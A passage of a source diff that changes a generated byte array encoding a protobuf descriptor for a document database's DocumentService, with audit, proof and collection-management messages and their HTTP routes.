0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, - 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, - 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, - 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, - 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, - 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, - 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, - 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, - 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, - 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, - 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, - 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xad, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, - 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x8b, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, + 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, + 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, + 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, + 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, + 0x12, 0x08, 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, + 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, + 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, + 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xad, 0x0c, 0x0a, 0x0f, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, + 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 